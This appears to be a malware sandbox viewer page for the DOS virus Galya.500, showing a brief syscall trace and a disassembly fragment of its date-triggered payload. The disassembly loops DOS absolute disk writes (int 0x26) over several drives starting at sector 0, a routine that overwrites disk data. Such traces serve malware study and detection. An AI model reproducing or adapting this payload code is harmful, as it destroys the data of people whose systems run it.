Sample viewer

vx.netlux.org/Virus.DOS.Galya.500

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:54:35.981402123Z 238 PC: 13de1 | UNKNOWN!
2018-12-17T22:54:35.982625064Z 74 PC: 13dfb | Reallocate memory
2018-12-17T22:54:35.983844838Z 42 PC: 13dff | Get date 0x13dff: cmp dl, 0x11
0x13e02: ja 0x13de6
0x13e04: cmp dx, 0xc11
0x13e08: jne 0x13e49
0x13e0a: push ds
0x13e0b: mov ax, 2
0x13e0e: push ax
0x13e0f: mov ds, ax
0x13e11: mov cx, 0xff
0x13e14: xor dx, dx
0x13e16: int 0x26
0x13e18: pop ax
0x13e19: pop ax
0x13e1a: inc ax
0x13e1b: cmp ax, 5
0x13e1e: jne 0x13e0e
0x13e20: pop ds
0x13e21: xor cx, cx
0x13e23: mov dx, 0x1750
0x13e26: mov ax, 0x600